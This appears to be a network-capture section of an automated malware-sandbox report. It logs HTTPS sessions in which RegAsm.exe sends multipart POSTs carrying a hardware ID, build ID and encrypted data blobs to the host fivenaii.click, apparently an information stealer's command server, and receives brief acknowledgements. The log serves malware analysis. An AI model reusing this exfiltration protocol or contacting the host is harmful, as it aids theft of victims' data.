2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 2b 12 55 1f de bb 6c 06 4c 0f e3 cd 08 e2 bb 5d 01 a1 65 8d 5b ca 0c e9 87 c4 e9 c5 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe Data Ascii: +UlL]e[LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: be 59 b3 b9 42 56 c2 50 20 c8 0c 39 a5 d8 68 e9 99 1d 29 5b 0a d0 bd 3d bc a6 bd 64 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 Data Ascii: YBVP 9h)[=d{+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: b7 7d 26 64 c7 eb 25 b0 87 36 b9 eb 75 52 85 c5 72 5f 94 b2 7f ac 99 e0 72 2e 90 21 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b Data Ascii: }&d%6uRr_r.!b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{Lvsk
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 4c 5d c1 5f 43 f9 21 6d 0a 66 b2 e8 78 91 61 14 c8 ee 4b 78 48 a9 87 95 f8 81 b5 11 b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 Data Ascii: L]_C!mfxaKxH'"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTUR
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 8b 21 b8 fa 51 92 f5 f1 e3 2e c9 c4 d2 7d 5d bf f3 c7 9f a1 4b 98 ee eb 27 7d 7b a2 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa Data Ascii: !Q.}]K'}{5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/
2024-12-27 21:33:27 UTC	15331	OUT	Data Raw: 0f c7 00 9f c9 3e 97 10 4a 30 e7 f9 7a 3f b9 3e 42 2d 55 e9 b0 b6 b4 72 9d d6 78 39 f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 Data Ascii: >J0z?>B-Urx9s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZ
2024-12-27 21:33:30 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sa8pss3mteljm797ofbhllpf11; expires=Tue, 22 Apr 2025 15:20:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FkrFrS3SlD%2FAu7i8zLMCCLTVsgOAL8gy6hVCkE6gKtLq6cLTGDcMTjPokziy3x6ixg9O%2FdrjoUYSoqHB5yjeqef4PhaSy6OxxsEOPvKtIlY0KqqX%2FhHiJBfV0eF38F1vVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dd97c4ff793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1675&rtt_var=684&sent=211&recv=590&lost=0&retrans=0&sent_bytes=2833&recv_bytes=573678&delivery_rate=1536842&cwnd=152&unsent_bytes=0&cid=093b464db77e83b8&ts=2354&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49766	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:30 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XMTXEG4X2SM0IQWLM8F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20448 Host: fivenaii.click
2024-12-27 21:33:30 UTC	15331	OUT	Data Raw: 2d 2d 58 4d 54 58 45 47 34 58 32 53 4d 30 49 51 57 4c 4d 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 58 4d 54 58 45 47 34 58 32 53 4d 30 49 51 57 4c 4d 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 4d 54 58 45 47 34 58 32 53 4d 30 49 51 57 4c 4d 38 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 Data Ascii: --XMTXEG4X2SM0IQWLM8FContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--XMTXEG4X2SM0IQWLM8FContent-Disposition: form-data; name="pid"3--XMTXEG4X2SM0IQWLM8FContent-Disposition: form-data; name="lid"VC6Dfm--Te
2024-12-27 21:33:30 UTC	5117	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-27 21:33:31 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fhlnsd2126hhmb9f1juk6v6os0; expires=Tue, 22 Apr 2025 15:20:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=axBNTDTG4qEYlasEmtRNcXJ2rObzr1bv01YoS%2F%2BFUlJI5b1LMykVRfu3NtoAOpvHHETlrUvaWLdN4ZgMvnueJaF0O6qA4PLR0SKjT7AESiEPJPXiJvUzhvYmxpAyFY93yQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6de8fd984368-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1651&rtt_var=638&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21409&delivery_rate=1689814&cwnd=233&unsent_bytes=0&cid=98277ed075e584d7&ts=903&x=0"
2024-12-27 21:33:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:31 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: fivenaii.click
2024-12-27 21:33:31 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d 26 68 77 69 64 3d 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=&hwid=B9B295F31A84D198BEBA0C6A975F1733
2024-12-27 21:33:32 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ugm2m9t5b0p84fhrccjhh5n97; expires=Tue, 22 Apr 2025 15:20:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3brHd0p12uSRVdf%2FFox%2BuA7bcsmQIsDZfNamAv9Kq9McC3UJ%2FxN3mJabeWD7uznD3nPyDttW4wzwzxN2RHzNtqxhmvdSGOvDr8%2Fs12BmO3ffsheyofJeJQ%2FmsnNpkiBalg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6df1fc907cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2013&min_rtt=2007&rtt_var=766&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=985&delivery_rate=1416100&cwnd=176&unsent_bytes=0&cid=30afc07c4037611e&ts=1084&x=0"
2024-12-27 21:33:32 UTC	54	IN	Data Raw: 33 30 0d 0a 61 78 65 2f 56 33 57 44 38 2f 2f 55 48 4f 43 46 6d 42 57 69 34 69 77 4f 71 62 45 75 6f 6e 2b 53 67 6e 6d 79 62 56 41 2f 51 69 45 77 53 67 3d 3d 0d 0a Data Ascii: 30axe/V3WD8//UHOCFmBWi4iwOqbEuon+SgnmybVA/QiEwSg==
2024-12-27 21:33:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49768	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:33 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5Q02JBRDU7U42EA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1231 Host: fivenaii.click
2024-12-27 21:33:33 UTC	1231	OUT	Data Raw: 2d 2d 35 51 30 32 4a 42 52 44 55 37 55 34 32 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 35 51 30 32 4a 42 52 44 55 37 55 34 32 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 51 30 32 4a 42 52 44 55 37 55 34 32 45 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d Data Ascii: --5Q02JBRDU7U42EAContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--5Q02JBRDU7U42EAContent-Disposition: form-data; name="pid"1--5Q02JBRDU7U42EAContent-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--
2024-12-27 21:33:33 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2961mel39jv51m3357rbrppf0p; expires=Tue, 22 Apr 2025 15:20:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5pdmvEnhT5m%2FlT2wCn73Q6NBRcXX35ceR3q%2Fs5KO0eD0eO5ky%2FS98w83zXfEFGHARcYQpXDQaTUx4I6QXFg6Pvk1T62SI0zb1l%2BRkQt%2F5m%2Fl9e83kkJ4085B%2FNBXLIVYbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dfac9f043f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1715&rtt_var=650&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2143&delivery_rate=1702623&cwnd=213&unsent_bytes=0&cid=fb4511f71de65859&ts=806&x=0"
2024-12-27 21:33:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49769	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:33 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6DGF095Y82K79M6X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18156 Host: fivenaii.click
2024-12-27 21:33:33 UTC	15331	OUT	Data Raw: 2d 2d 36 44 47 46 30 39 35 59 38 32 4b 37 39 4d 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 44 47 46 30 39 35 59 38 32 4b 37 39 4d 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 44 47 46 30 39 35 59 38 32 4b 37 39 4d 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d Data Ascii: --6DGF095Y82K79M6XContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--6DGF095Y82K79M6XContent-Disposition: form-data; name="pid"2--6DGF095Y82K79M6XContent-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk
2024-12-27 21:33:33 UTC	2825	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-27 21:33:34 UTC	1140	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g6a09jg3c8f8j2n97ohah64shq; expires=Tue, 22 Apr 2025 15:20:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wSHSwwUKPceMTDvapwPU5HKACaVO73D2O3a28d6a%2BetcJNeUHCYkut7nmxHYR0Vbs%2FJHdEBCW%2BEGilv%2FEGI6WtBba%2BsneYy2gAldr7Xruy%2Bikpo%2Fi4%2FRd99SnyN3qmPXrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6dfabe1b32d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1948&min_rtt=1945&rtt_var=736&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2834&recv_bytes=19114&delivery_rate=1479229&cwnd=146&unsent_bytes=0&cid=ee72e2abe7474ddd&ts=1014&x=0"
2024-12-27 21:33:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:35 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FRHHII88EX2SEMY7YY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: fivenaii.click
2024-12-27 21:33:35 UTC	8789	OUT	Data Raw: 2d 2d 46 52 48 48 49 49 38 38 45 58 32 53 45 4d 59 37 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 46 52 48 48 49 49 38 38 45 58 32 53 45 4d 59 37 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 52 48 48 49 49 38 38 45 58 32 53 45 4d 59 37 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f Data Ascii: 